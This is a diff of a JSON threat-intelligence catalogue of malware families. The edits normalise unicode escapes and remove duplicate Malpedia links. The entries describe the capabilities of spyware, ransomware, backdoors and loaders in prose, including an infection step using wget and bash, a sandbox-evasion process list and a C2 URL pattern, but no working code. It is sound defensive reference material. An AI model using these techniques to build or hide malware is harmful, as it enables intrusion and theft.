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@ -1879,7 +1879,7 @@
"value": "Triada"
},
{
"description": "Bitdefender described Triout as a Android spyware, which appears to act as a framework for building extensive surveillance capabilities into seemingly benign applications. Found bundled with a repackaged app, the spyware\u2019s surveillance capabilities involve hiding its presence on the device, recording phone calls, logging incoming text messages, recoding videos, taking pictures and collecting GPS coordinates, then broadcasting all of that to an attacker-controlled C&C (command and control) server.",
"description": "Bitdefender described Triout as a Android spyware, which appears to act as a framework for building extensive surveillance capabilities into seemingly benign applications. Found bundled with a repackaged app, the spyware’s surveillance capabilities involve hiding its presence on the device, recording phone calls, logging incoming text messages, recoding videos, taking pictures and collecting GPS coordinates, then broadcasting all of that to an attacker-controlled C&C (command and control) server.",
"meta": {
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/apk.triout"
@ -2708,7 +2708,7 @@
"value": "floodor"
},
{
"description": "Guardicore has discovered FritzFrog, a sophisticated peer-to-peer (P2P) botnet which has been actively breaching SSH servers since January 2020. It is a worm which is written in Golang, and is modular, multi-threaded and fileless, leaving no trace on the infected machine\u2019s disk. ",
"description": "Guardicore has discovered FritzFrog, a sophisticated peer-to-peer (P2P) botnet which has been actively breaching SSH servers since January 2020. It is a worm which is written in Golang, and is modular, multi-threaded and fileless, leaving no trace on the infected machine’s disk. ",
"meta": {
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/elf.fritzfrog",
@ -3528,7 +3528,7 @@
"value": "pupy (ELF)"
},
{
"description": "The QNAPCrypt ransomware works similarly to other ransomware, including encrypting all files and delivering a ransom note. However, there are several important differences:\r\n\r\n1. The ransom note was included solely as a text file, without any message on the screen\u2014naturally, because it is a server and not an endpoint.\r\n\r\n2. Every victim is provided with a different, unique Bitcoin wallet\u2014this could help the attackers avoid being traced.\r\n\r\n3. Once a victim is compromised, the malware requests a wallet address and a public RSA key from the command and control server (C&C) before file encryption.",
"description": "The QNAPCrypt ransomware works similarly to other ransomware, including encrypting all files and delivering a ransom note. However, there are several important differences:\r\n\r\n1. The ransom note was included solely as a text file, without any message on the screen—naturally, because it is a server and not an endpoint.\r\n\r\n2. Every victim is provided with a different, unique Bitcoin wallet—this could help the attackers avoid being traced.\r\n\r\n3. Once a victim is compromised, the malware requests a wallet address and a public RSA key from the command and control server (C&C) before file encryption.",
"meta": {
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/elf.qnapcrypt",
@ -3666,7 +3666,7 @@
"value": "RedXOR"
},
{
"description": "A Trojan for Linux intended to infect machines with the SPARC architecture and Intel x86, x86-64 computers. The Trojan\u2019s configuration data is stored in a file encrypted with XOR algorithm",
"description": "A Trojan for Linux intended to infect machines with the SPARC architecture and Intel x86, x86-64 computers. The Trojan’s configuration data is stored in a file encrypted with XOR algorithm",
"meta": {
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/elf.rekoobe",
@ -3919,7 +3919,7 @@
"value": "Sunless"
},
{
"description": "Sustes Malware doesn\u2019t infect victims by itself (it\u2019s not a worm) but it is spread over exploitation and brute-force activities with special focus on IoT and Linux servers. The initial infection stage comes from a custom wget directly on the victim machine followed by a simple /bin/bash mr.sh. The script is a simple bash script which drops and executes additional software. ",
"description": "Sustes Malware doesn’t infect victims by itself (it’s not a worm) but it is spread over exploitation and brute-force activities with special focus on IoT and Linux servers. The initial infection stage comes from a custom wget directly on the victim machine followed by a simple /bin/bash mr.sh. The script is a simple bash script which drops and executes additional software. ",
"meta": {
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/elf.sustes",
@ -4747,7 +4747,7 @@
"value": "Bateleur"
},
{
"description": "\u2022 BELLHOP is\ta JavaScript backdoor interpreted using the native Windows Scripting Host(WSH).\r\nAfter performing some basic host information gathering, the BELLHOP dropper\tdownloads a base64-encoded blob of JavaScript to disk and\tsets\tup persistence in three ways:\r\n\u2022 Creating a Run key in the Registry\r\n\u2022 Creating a RunOnce key in the Registry\r\n\u2022 Creating a persistent named scheduled task\r\n\u2022 BELLHOP communicates using HTTP\tand HTTPS with primarily benign sites such as Google\tDocs and PasteBin.\r\n",
"description": "• BELLHOP is\ta JavaScript backdoor interpreted using the native Windows Scripting Host(WSH).\r\nAfter performing some basic host information gathering, the BELLHOP dropper\tdownloads a base64-encoded blob of JavaScript to disk and\tsets\tup persistence in three ways:\r\n• Creating a Run key in the Registry\r\n• Creating a RunOnce key in the Registry\r\n• Creating a persistent named scheduled task\r\n• BELLHOP communicates using HTTP\tand HTTPS with primarily benign sites such as Google\tDocs and PasteBin.\r\n",
"meta": {
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/js.bellhop",
@ -5072,7 +5072,7 @@
"value": "NodeRAT"
},
{
"description": "Ostap is a commodity JScript downloader first seen in campaigns in 2016. It has been observed being delivered in ACE archives and VBA macro-enabled Microsoft Office documents. Recent versions of Ostap query WMI to check for a blacklist of running processes:\r\n\r\nAgentSimulator.exe\r\nanti-virus.EXE\r\nBehaviorDumper\r\nBennyDB.exe\r\nctfmon.exe\r\nfakepos_bin\r\nFrzState2k\r\ngemu-ga.exe (Possible misspelling of Qemu hypervisor\u2019s guest agent, qemu-ga.exe)\r\nImmunityDebugger.exe\r\nKMS Server Service.exe\r\nProcessHacker\r\nprocexp\r\nProxifier.exe\r\npython\r\ntcpdump\r\nVBoxService\r\nVBoxTray.exe\r\nVmRemoteGuest\r\nvmtoolsd\r\nVMware2B.exe\r\nVzService.exe\r\nwinace\r\nWireshark\r\n\r\nIf a blacklisted process is found, the malware terminates.\r\n\r\nOstap has been observed delivering other malware families, including Nymaim, Backswap and TrickBot.",
"description": "Ostap is a commodity JScript downloader first seen in campaigns in 2016. It has been observed being delivered in ACE archives and VBA macro-enabled Microsoft Office documents. Recent versions of Ostap query WMI to check for a blacklist of running processes:\r\n\r\nAgentSimulator.exe\r\nanti-virus.EXE\r\nBehaviorDumper\r\nBennyDB.exe\r\nctfmon.exe\r\nfakepos_bin\r\nFrzState2k\r\ngemu-ga.exe (Possible misspelling of Qemu hypervisor’s guest agent, qemu-ga.exe)\r\nImmunityDebugger.exe\r\nKMS Server Service.exe\r\nProcessHacker\r\nprocexp\r\nProxifier.exe\r\npython\r\ntcpdump\r\nVBoxService\r\nVBoxTray.exe\r\nVmRemoteGuest\r\nvmtoolsd\r\nVMware2B.exe\r\nVzService.exe\r\nwinace\r\nWireshark\r\n\r\nIf a blacklisted process is found, the malware terminates.\r\n\r\nOstap has been observed delivering other malware families, including Nymaim, Backswap and TrickBot.",
"meta": {
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/js.ostap",
@ -5379,7 +5379,7 @@
"value": "Casso"
},
{
"description": "CoinThief was a malware package designed to steal Bitcoins from the victim, consisting of a binary patcher, browser extensions, and a backdoor component. \r\n\r\nIt was spreading in early 2014 from several different sources: \r\n- on Github (where the trojanized compiled binary didn\u2019t match the displayed source code), o\r\n- on popular and trusted download sites line CNET's Download.com or MacUpdate.com, and \r\n- as cracked applications via torrents camouflaged as Bitcoin Ticker TTM, BitVanity, StealthBit, Litecoin Ticker, BBEdit, Pixelmator, Angry Birds and Delicious Library.\r\n\r\nThe patcher\u2018s role was to locate and modify legitimate versions of the Bitcoin-Qt wallet application. The analyzed malware samples targeted versions of Bitcoin-Qt 0.8.1, 0.8.0 and 0.8.5. The earlier patch modified Bitcoin-Qt adding malicious code that would send nearly all the victim\u2019s Bitcoins to one of the hard-coded addresses belonging to the attacker. \r\n\r\nThe browser extensions targeted Chrome and Firefox and are disguised as a \u201cPop-up blocker\u201d. The extensions monitored visited websites, download malicious JavaScripts and injected them into various Bitcoin-related websites (mostly Bitcoin exchanges and online wallet sites). The injected JS scripts were able to modify transactions to redirect Bitcoin transfers to an attacker\u2019s address or simply harvest login credentials to the targeted online service.\r\n\r\nThe backdoor enabled the attacker to take full control over the victim\u2019s computer:\r\n- collect information about the infected computer\r\n- execute arbitrary shell scripts on the target computer\r\n- upload an arbitrary file from the victim\u2019s hard drive to a remote server\r\n- update itself to a newer version",
"description": "CoinThief was a malware package designed to steal Bitcoins from the victim, consisting of a binary patcher, browser extensions, and a backdoor component. \r\n\r\nIt was spreading in early 2014 from several different sources: \r\n- on Github (where the trojanized compiled binary didn’t match the displayed source code), o\r\n- on popular and trusted download sites line CNET's Download.com or MacUpdate.com, and \r\n- as cracked applications via torrents camouflaged as Bitcoin Ticker TTM, BitVanity, StealthBit, Litecoin Ticker, BBEdit, Pixelmator, Angry Birds and Delicious Library.\r\n\r\nThe patcher‘s role was to locate and modify legitimate versions of the Bitcoin-Qt wallet application. The analyzed malware samples targeted versions of Bitcoin-Qt 0.8.1, 0.8.0 and 0.8.5. The earlier patch modified Bitcoin-Qt adding malicious code that would send nearly all the victim’s Bitcoins to one of the hard-coded addresses belonging to the attacker. \r\n\r\nThe browser extensions targeted Chrome and Firefox and are disguised as a “Pop-up blocker”. The extensions monitored visited websites, download malicious JavaScripts and injected them into various Bitcoin-related websites (mostly Bitcoin exchanges and online wallet sites). The injected JS scripts were able to modify transactions to redirect Bitcoin transfers to an attacker’s address or simply harvest login credentials to the targeted online service.\r\n\r\nThe backdoor enabled the attacker to take full control over the victim’s computer:\r\n- collect information about the infected computer\r\n- execute arbitrary shell scripts on the target computer\r\n- upload an arbitrary file from the victim’s hard drive to a remote server\r\n- update itself to a newer version",
"meta": {
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/osx.cointhief",
@ -5525,7 +5525,7 @@
"value": "Dummy"
},
{
"description": "Eleanor comes as a drag-and-drop file utility called EasyDoc Converter. This application bundle wraps a shell script that uses Dropbox name as a disguise and installs three components: a hidden Tor service, a Pastebin agent and a web service with a PHP-based graphical interface.\r\n\r\nThe Tor service transforms the victim\u2019s computer into a server that provides attackers with full anonymous access to the infected machine via Tor-generated address. \r\n\r\nThe Pastebin agent uploads the address in encrypted form to the Pastebin website where the attackers can obtain it.\r\n\r\nThe web service is the main malicious component that provides the attackers with the control over the infected machine. After successful authentication, the interface offers several control panels to the attackers, allowing them to do the following actions:\r\n\r\n- Managing files\r\n- Listing processes\r\n- Connecting to various database management systems such as MySQL or SQLite\r\n- Connecting via bind/reverse shell\r\n- Executing shell command\r\n- Capturing and browsing images and videos from the victim\u2019s webcam\r\n- Sending emails with an attachment",
"description": "Eleanor comes as a drag-and-drop file utility called EasyDoc Converter. This application bundle wraps a shell script that uses Dropbox name as a disguise and installs three components: a hidden Tor service, a Pastebin agent and a web service with a PHP-based graphical interface.\r\n\r\nThe Tor service transforms the victim’s computer into a server that provides attackers with full anonymous access to the infected machine via Tor-generated address. \r\n\r\nThe Pastebin agent uploads the address in encrypted form to the Pastebin website where the attackers can obtain it.\r\n\r\nThe web service is the main malicious component that provides the attackers with the control over the infected machine. After successful authentication, the interface offers several control panels to the attackers, allowing them to do the following actions:\r\n\r\n- Managing files\r\n- Listing processes\r\n- Connecting to various database management systems such as MySQL or SQLite\r\n- Connecting via bind/reverse shell\r\n- Executing shell command\r\n- Capturing and browsing images and videos from the victim’s webcam\r\n- Sending emails with an attachment",
"meta": {
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/osx.eleanor",
@ -6003,7 +6003,7 @@
"value": "Patcher"
},
{
"description": "Backdoor as a fork of OpenSSH_6.0 with no logging, and \u201c-P\u201d and \u201c-z\u201d hidden command arguments. \u201cPuffySSH_5.8p1\u201d string.",
"description": "Backdoor as a fork of OpenSSH_6.0 with no logging, and “-P” and “-z” hidden command arguments. “PuffySSH_5.8p1” string.",
"meta": {
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/osx.pintsized",
@ -6101,7 +6101,7 @@
"value": "Shlayer"
},
{
"description": "According to Red Canary, Silver Sparrow is an activity cluster that includes a binary compiled to run on Apple\u2019s new M1 chips but has been distributed without payload so far.",
"description": "According to Red Canary, Silver Sparrow is an activity cluster that includes a binary compiled to run on Apple’s new M1 chips but has been distributed without payload so far.",
"meta": {
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/osx.silver_sparrow",
@ -6782,7 +6782,7 @@
"value": "PowerWare"
},
{
"description": "PowerZure is a PowerShell project created to assess and exploit resources within Microsoft\u2019s cloud platform, Azure. PowerZure was created out of the need for a framework that can both perform reconnaissance and exploitation of Azure, AzureAD, and the associated resources.",
"description": "PowerZure is a PowerShell project created to assess and exploit resources within Microsoft’s cloud platform, Azure. PowerZure was created out of the need for a framework that can both perform reconnaissance and exploitation of Azure, AzureAD, and the associated resources.",
"meta": {
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powerzure",
@ -7294,7 +7294,6 @@
"description": "",
"meta": {
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/py.unidentified_001",
"https://malpedia.caad.fkie.fraunhofer.de/details/py.unidentified_001"
],
"synonyms": [],
@ -7307,7 +7306,6 @@
"description": "",
"meta": {
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/py.unidentified_002",
"https://malpedia.caad.fkie.fraunhofer.de/details/py.unidentified_002"
],
"synonyms": [],
@ -7320,7 +7318,6 @@
"description": "",
"meta": {
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/py.unidentified_003",
"https://malpedia.caad.fkie.fraunhofer.de/details/py.unidentified_003"
],
"synonyms": [],
@ -7789,7 +7786,7 @@
"value": "Adamantium Thief"
},
{
"description": "Adam Locker (detected as RANSOM_ADAMLOCK.A) is a ransomware that encrypts targeted files on a victim\u2019s system but offers them a free decryption key which can be accessed through Adf.ly, a URL shortening and advertising service.",
"description": "Adam Locker (detected as RANSOM_ADAMLOCK.A) is a ransomware that encrypts targeted files on a victim’s system but offers them a free decryption key which can be accessed through Adf.ly, a URL shortening and advertising service.",
"meta": {
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.adam_locker",
@ -7997,7 +7994,7 @@
"value": "Albaniiutas"
},
{
"description": "According to Trend Micro Encyclopia:\r\nALDIBOT first appeared in late August 2012 in relevant forums. Variants can steal passwords from the browser Mozilla Firefox, instant messenger client Pidgin, and the download manager jDownloader. ALDIBOT variants send the gathered information to their command-and-control (C&C) servers.\r\n\r\nThis malware family can also launch Distributed Denial of Service (DDoS) attacks using different protocols such as HTTP, TCP, UDP, and SYN. It can also perform flood attacks via Slowloris and Layer 7.\r\n\r\nThis bot can also be set up as a SOCKS proxy to abuse the infected machine as a proxy for any protocols.\r\n\r\nThis malware family can download and execute arbitrary files, and update itself. Variants can steal information, gathering the infected machine\u2019s hardware identification (HWID), host name, local IP address, and OS version.\r\n\r\nThis backdoor executes commands from a remote malicious user, effectively compromising the affected system.",
"description": "According to Trend Micro Encyclopia:\r\nALDIBOT first appeared in late August 2012 in relevant forums. Variants can steal passwords from the browser Mozilla Firefox, instant messenger client Pidgin, and the download manager jDownloader. ALDIBOT variants send the gathered information to their command-and-control (C&C) servers.\r\n\r\nThis malware family can also launch Distributed Denial of Service (DDoS) attacks using different protocols such as HTTP, TCP, UDP, and SYN. It can also perform flood attacks via Slowloris and Layer 7.\r\n\r\nThis bot can also be set up as a SOCKS proxy to abuse the infected machine as a proxy for any protocols.\r\n\r\nThis malware family can download and execute arbitrary files, and update itself. Variants can steal information, gathering the infected machine’s hardware identification (HWID), host name, local IP address, and OS version.\r\n\r\nThis backdoor executes commands from a remote malicious user, effectively compromising the affected system.",
"meta": {
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.aldibot",
@ -8791,7 +8788,7 @@
"value": "ATMSpitter"
},
{
"description": "Attor is a cyberespionage platform used in targeted attacks against diplomatic missions and governmental institutions since at least 2013. Its most interesting features are a complex modular architecture, elaborate network communications, and a unique plugin to fingerprint GSM/GPRS devices.\r\n\r\nAttor\u2019s core lies in its dispatcher, which serves as a management unit for additional plugins which provide all of malware\u2019s key capabilities. This allows the attackers to customize the platform on a per-victim basis. Plugins themselves are heavily synchronized. Network communication is based on Tor, aiming for anonymity and untraceability. \r\n\r\nThe most notable plugin can detect connected GSM/GPRS modems or mobile devices. Attor speaks to them directly using the AT command set, in order to collect sensitive information such as the IMEI, IMSI or MSISDN numbers, possibly identifying both the device and its subscriber. Other plugins provide persistence, an exfiltration channel, C&C communication and several further spying capabilities. The plugin responsible for capturing victim's screen targets social networks and blogging platforms, email services, office software, archiving utilities, file sharing and messaging services.",
"description": "Attor is a cyberespionage platform used in targeted attacks against diplomatic missions and governmental institutions since at least 2013. Its most interesting features are a complex modular architecture, elaborate network communications, and a unique plugin to fingerprint GSM/GPRS devices.\r\n\r\nAttor’s core lies in its dispatcher, which serves as a management unit for additional plugins which provide all of malware’s key capabilities. This allows the attackers to customize the platform on a per-victim basis. Plugins themselves are heavily synchronized. Network communication is based on Tor, aiming for anonymity and untraceability. \r\n\r\nThe most notable plugin can detect connected GSM/GPRS modems or mobile devices. Attor speaks to them directly using the AT command set, in order to collect sensitive information such as the IMEI, IMSI or MSISDN numbers, possibly identifying both the device and its subscriber. Other plugins provide persistence, an exfiltration channel, C&C communication and several further spying capabilities. The plugin responsible for capturing victim's screen targets social networks and blogging platforms, email services, office software, archiving utilities, file sharing and messaging services.",
"meta": {
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.attor",
@ -10006,7 +10003,7 @@
"value": "BLACKCOFFEE"
},
{
"description": "BlackEnergy, its first version shortened as BE1, started as a crimeware being sold in the Russian cyber underground as early as 2007. Initially, it was designed as a toolkit for creating botnets for conducting DDoS attacks. It supported a variety of flooding commands including protocols like ICMP, TCP SYN, UDP, HTTP and DNS. Among the high profile targets of cyber attacks utilising BE1 were a Norwegian bank and government websites in Georgia three weeks before Russo-Georgian War.\r\n\r\nVersion 2 of BlackEnergy, BE2, came in 2008 with a complete code rewrite that introduced a protective layer, a kernel-mode rootkit and a modular architecture. Plugins included mostly DDoS attacks, a spam plugin and two banking authentication plugins to steal from Russian nad Ukrainian banks. The banking plugin was paired with a module designed to destroy the filesystem. Moreover, BE2 was able to\r\n- download and execute a remote file;\r\n- execute a local file on the infected computer;\r\n- update the bot and its plugins;\r\n\r\nThe Industrial Control Systems Cyber Emergency Response Team issued an alert warning that BE2 was leveraging the human-machine interfaces of industrial control systems like GE CIMPLICITY, Advantech/Broadwin WebAccess, and Siemens WinCC to gain access to critical infrastructure networks.\r\n\r\nIn 2014, the BlackEnergy toolkit, BE3, switched to a lighter footprint with no kernel-mode driver component. Its plugins included:\r\n- operations with victim's filesystem\r\n- spreading with a parasitic infector\r\n- spying features like keylogging, screenshoots or a robust password stealer\r\n- Team viewer and a simple pseudo \u201cremote desktop\u201d\r\n- listing Windows accounts and scanning network \r\n- destroying the system\r\n\r\nTypical for distribution of BE3 was heavy use of spear-phishing emails containing Microsoft Word or Excel documents with a malicious VBA macro, Rich Text Format (RTF) documents embedding exploits or a PowerPoint presentation with zero-day exploit CVE-2014-4114.\r\n\r\nOn 23 December 2015, attackers behind the BlackEnergy malware successfully caused power outages for several hours in different regions of Ukraine. This cyber sabotage against three energy companies has been confirmed by the Ukrainian government. The power grid compromise has become known as the first-of-its-kind cyber warfare attack affecting civilians.",
"description": "BlackEnergy, its first version shortened as BE1, started as a crimeware being sold in the Russian cyber underground as early as 2007. Initially, it was designed as a toolkit for creating botnets for conducting DDoS attacks. It supported a variety of flooding commands including protocols like ICMP, TCP SYN, UDP, HTTP and DNS. Among the high profile targets of cyber attacks utilising BE1 were a Norwegian bank and government websites in Georgia three weeks before Russo-Georgian War.\r\n\r\nVersion 2 of BlackEnergy, BE2, came in 2008 with a complete code rewrite that introduced a protective layer, a kernel-mode rootkit and a modular architecture. Plugins included mostly DDoS attacks, a spam plugin and two banking authentication plugins to steal from Russian nad Ukrainian banks. The banking plugin was paired with a module designed to destroy the filesystem. Moreover, BE2 was able to\r\n- download and execute a remote file;\r\n- execute a local file on the infected computer;\r\n- update the bot and its plugins;\r\n\r\nThe Industrial Control Systems Cyber Emergency Response Team issued an alert warning that BE2 was leveraging the human-machine interfaces of industrial control systems like GE CIMPLICITY, Advantech/Broadwin WebAccess, and Siemens WinCC to gain access to critical infrastructure networks.\r\n\r\nIn 2014, the BlackEnergy toolkit, BE3, switched to a lighter footprint with no kernel-mode driver component. Its plugins included:\r\n- operations with victim's filesystem\r\n- spreading with a parasitic infector\r\n- spying features like keylogging, screenshoots or a robust password stealer\r\n- Team viewer and a simple pseudo “remote desktop”\r\n- listing Windows accounts and scanning network \r\n- destroying the system\r\n\r\nTypical for distribution of BE3 was heavy use of spear-phishing emails containing Microsoft Word or Excel documents with a malicious VBA macro, Rich Text Format (RTF) documents embedding exploits or a PowerPoint presentation with zero-day exploit CVE-2014-4114.\r\n\r\nOn 23 December 2015, attackers behind the BlackEnergy malware successfully caused power outages for several hours in different regions of Ukraine. This cyber sabotage against three energy companies has been confirmed by the Ukrainian government. The power grid compromise has become known as the first-of-its-kind cyber warfare attack affecting civilians.",
"meta": {
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.blackenergy",
@ -10297,7 +10294,7 @@
"value": "Bolek"
},
{
"description": "FireEye describes BOOSTWRITE as a loader crafted to be launched via abuse of the DLL search order of applications which load the legitimate \u2018Dwrite.dll\u2019 provided by the Microsoft DirectX Typography Services. The application loads the \u2018gdi\u2019 library, which loads the \u2018gdiplus\u2019 library, which ultimately loads \u2018Dwrite\u2019. Mandiant identified instances where BOOSTWRITE was placed on the file system alongside the RDFClient binary to force the application to import DWriteCreateFactory from it rather than the legitimate DWrite.dll.",
"description": "FireEye describes BOOSTWRITE as a loader crafted to be launched via abuse of the DLL search order of applications which load the legitimate ‘Dwrite.dll’ provided by the Microsoft DirectX Typography Services. The application loads the ‘gdi’ library, which loads the ‘gdiplus’ library, which ultimately loads ‘Dwrite’. Mandiant identified instances where BOOSTWRITE was placed on the file system alongside the RDFClient binary to force the application to import DWriteCreateFactory from it rather than the legitimate DWrite.dll.",
"meta": {
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.boostwrite",
@ -10382,7 +10379,7 @@
"value": "BRAIN"
},
{
"description": "Brambul is a worm that spreads by using a list of hard-coded login credentials to launch a brute-force password attack against an SMB protocol for access to a victim\u2019s networks.",
"description": "Brambul is a worm that spreads by using a list of hard-coded login credentials to launch a brute-force password attack against an SMB protocol for access to a victim’s networks.",
"meta": {
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.brambul",
@ -10431,7 +10428,7 @@
"value": "BreachRAT"
},
{
"description": "There is no reference available for this family and all known samples have version 1.0.0.\r\n\r\nPdb-strings in the samples suggest that this is an \"exclusive\" loader, known as \"breakthrough\" (maybe), e.g. C:\\Users\\Exclusiv\\Desktop\\\u0445\u043f-\u043f\u0440\u043e\u0431\u0438\u0432\\Release\\build.pdb\r\n\r\nThe communication url parameters are pretty unique in this combination:\r\ngate.php?hwid=<guid>&os=<OS>&build=1.0.0&cpu=8\r\n\r\n<OS> is one of:\r\nWindows95\r\nWindows98\r\nWindowsMe\r\nWindows95family\r\nWindowsNT3\r\nWindowsNT4\r\nWindows2000\r\nWindowsXP\r\nWindowsServer2003\r\nWindowsNTfamily\r\nWindowsVista\r\nWindows7\r\nWindows8\r\nWindows10\r\n",
"description": "There is no reference available for this family and all known samples have version 1.0.0.\r\n\r\nPdb-strings in the samples suggest that this is an \"exclusive\" loader, known as \"breakthrough\" (maybe), e.g. C:\\Users\\Exclusiv\\Desktop\\хп-пробив\\Release\\build.pdb\r\n\r\nThe communication url parameters are pretty unique in this combination:\r\ngate.php?hwid=<guid>&os=<OS>&build=1.0.0&cpu=8\r\n\r\n<OS> is one of:\r\nWindows95\r\nWindows98\r\nWindowsMe\r\nWindows95family\r\nWindowsNT3\r\nWindowsNT4\r\nWindows2000\r\nWindowsXP\r\nWindowsServer2003\r\nWindowsNTfamily\r\nWindowsVista\r\nWindows7\r\nWindows8\r\nWindows10\r\n",
"meta": {
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.breakthrough_loader"
@ -10829,7 +10826,7 @@
"value": "Carberp"
},
{
"description": "Cardinal RAT is a remote access Trojan capable of stealing username and credentials, cleaning out cookies from browsers, keylogging and capturing screenshots on targeted systems. It is delivered via a downloader dubbed \u201cCarp\u201d which uses malicious macros in Microsoft Excel documents to compile embedded source code into an executable, which then deploys the Cardinal RAT malware family.",
"description": "Cardinal RAT is a remote access Trojan capable of stealing username and credentials, cleaning out cookies from browsers, keylogging and capturing screenshots on targeted systems. It is delivered via a downloader dubbed “Carp” which uses malicious macros in Microsoft Excel documents to compile embedded source code into an executable, which then deploys the Cardinal RAT malware family.",
"meta": {
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.cardinal_rat",
@ -10992,7 +10989,7 @@
"value": "Chainshot"
},
{
"description": "According to Kaspersky GReAT and AMR, TajMahal is a previously unknown and technically sophisticated APT framework discovered by Kaspersky Lab in the autumn of 2018. This full-blown spying framework consists of two packages named Tokyo and Yokohama. It includes backdoors, loaders, orchestrators, C2 communicators, audio recorders, keyloggers, screen and webcam grabbers, documents and cryptography key stealers, and even its own file indexer for the victim\u2019s machine. We discovered up to 80 malicious modules stored in its encrypted Virtual File System, one of the highest numbers of plugins they have ever seen for an APT toolset.",
"description": "According to Kaspersky GReAT and AMR, TajMahal is a previously unknown and technically sophisticated APT framework discovered by Kaspersky Lab in the autumn of 2018. This full-blown spying framework consists of two packages named Tokyo and Yokohama. It includes backdoors, loaders, orchestrators, C2 communicators, audio recorders, keyloggers, screen and webcam grabbers, documents and cryptography key stealers, and even its own file indexer for the victim’s machine. We discovered up to 80 malicious modules stored in its encrypted Virtual File System, one of the highest numbers of plugins they have ever seen for an APT toolset.",
"meta": {
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.chaperone",
@ -12906,7 +12903,7 @@
"value": "Dairy"
},
{
"description": "Proofpoints describes DanaBot as the latest example of malware focused on persistence and stealing useful information that can later be monetized rather than demanding an immediate ransom from victims. The social engineering in the low-volume DanaBot campaigns we have observed so far has been well-crafted, again pointing to a renewed focus on \u201cquality over quantity\u201d in email-based threats. DanaBot\u2019s modular nature enables it to download additional components, increasing the flexibility and robust stealing and remote monitoring capabilities of this banker. ",
"description": "Proofpoints describes DanaBot as the latest example of malware focused on persistence and stealing useful information that can later be monetized rather than demanding an immediate ransom from victims. The social engineering in the low-volume DanaBot campaigns we have observed so far has been well-crafted, again pointing to a renewed focus on “quality over quantity” in email-based threats. DanaBot’s modular nature enables it to download additional components, increasing the flexibility and robust stealing and remote monitoring capabilities of this banker. ",
"meta": {
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.danabot",
@ -13182,8 +13179,7 @@
"https://malpedia.caad.fkie.fraunhofer.de/details/win.dbatloader",
"https://blog.vincss.net/2020/09/re016-malware-analysis-modiloader-eng.html",
"https://news.sophos.com/en-us/2020/09/24/email-delivered-modi-rat-attack-pastes-powershell-commands",
"https://zero2auto.com/2020/08/20/dbatloader-modiloader-first-stage/",
"https://malpedia.caad.fkie.fraunhofer.de/details/win.dbatloader"
"https://zero2auto.com/2020/08/20/dbatloader-modiloader-first-stage/"
],
"synonyms": [
"ModiLoader",
@ -13327,7 +13323,7 @@
"value": "Dented"
},
{
"description": "According to ESET Research, DePriMon is a malicious downloader, with several stages and using many non-traditional techniques. To achieve persistence, the malware registers a new local port monitor \u2013 a trick falling under the \u201cPort Monitors\u201d technique in the MITRE ATT&CK knowledgebase. For that, the malware uses the \u201cWindows Default Print Monitor\u201d name; that\u2019s why we have named it DePriMon. Due to its complexity and modular architecture, researcher believe it to be a framework.\r\n\r\nDePriMon has been active since at least March 2017. DePriMon was detected in a private company, based in Central Europe, and at dozens of computers in the Middle East.",
"description": "According to ESET Research, DePriMon is a malicious downloader, with several stages and using many non-traditional techniques. To achieve persistence, the malware registers a new local port monitor – a trick falling under the “Port Monitors” technique in the MITRE ATT&CK knowledgebase. For that, the malware uses the “Windows Default Print Monitor” name; that’s why we have named it DePriMon. Due to its complexity and modular architecture, researcher believe it to be a framework.\r\n\r\nDePriMon has been active since at least March 2017. DePriMon was detected in a private company, based in Central Europe, and at dozens of computers in the Middle East.",
"meta": {
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.deprimon",
@ -13381,7 +13377,7 @@
"value": "DeroHE"
},
{
"description": " A DLL backdoor also reported publicly as \u201cDerusbi\u201d, capable of obtaining directory, file, and drive listing; creating a reverse shell; performing screen captures; recording video and audio; listing, terminating, and creating processes; enumerating, starting, and deleting registry keys and values; logging keystrokes, returning usernames and passwords from protected storage; and renaming, deleting, copying, moving, reading, and writing to files.",
"description": " A DLL backdoor also reported publicly as “Derusbi”, capable of obtaining directory, file, and drive listing; creating a reverse shell; performing screen captures; recording video and audio; listing, terminating, and creating processes; enumerating, starting, and deleting registry keys and values; logging keystrokes, returning usernames and passwords from protected storage; and renaming, deleting, copying, moving, reading, and writing to files.",
"meta": {
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.derusbi",
@ -13681,7 +13677,7 @@
"value": "DMSniff"
},
{
"description": "DneSpy collects information, takes screenshots, and downloads and executes the latest version of other malicious components in the infected system. The malware is designed to receive a \u201cpolicy\u201d file in JSON format with all the commands to execute. The policy file sent by the C&C server can be changed and updated over time, making dneSpy flexible and well-designed. The output of each executed command is zipped, encrypted, and exfiltrated to the C&C server. These characteristics make dneSpy a fully functional espionage backdoor.",
"description": "DneSpy collects information, takes screenshots, and downloads and executes the latest version of other malicious components in the infected system. The malware is designed to receive a “policy” file in JSON format with all the commands to execute. The policy file sent by the C&C server can be changed and updated over time, making dneSpy flexible and well-designed. The output of each executed command is zipped, encrypted, and exfiltrated to the C&C server. These characteristics make dneSpy a fully functional espionage backdoor.",
"meta": {
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.dnespy",
